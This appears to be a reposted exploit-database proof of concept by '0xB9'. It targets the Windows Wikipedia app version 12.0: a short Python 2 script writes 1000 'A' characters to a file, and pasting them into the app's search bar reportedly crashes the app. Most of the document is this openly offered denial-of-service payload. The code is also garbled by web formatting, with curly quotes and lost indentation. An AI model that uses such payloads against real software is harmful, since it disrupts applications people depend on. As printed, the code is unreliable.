Wikipedia 12.0 – Denial of Service

# Exploit Title: Wikipedia 12.0 – Denial of Service (PoC)
# Date: 9/2/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/en-us/p/wikipedia/9wzdncrfhwm4?activetab=pivot%3aoverviewtab
# Version: 12.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file “wiki.txt”
# Copy the text from the generated wiki.txt file to clipboard
# Paste the text in the search bar in the top right of app
# App will now crash

[su_quote]
buffer = “A” * 1000
payload = buffer
try:
f=open(“wiki.txt”,”w”)
print “[+] Creating %s evil payload..” %len(payload)
f.write(payload)
f.close()
print “[+] File created!”
except:
print “File cannot be created”
[/su_quote]

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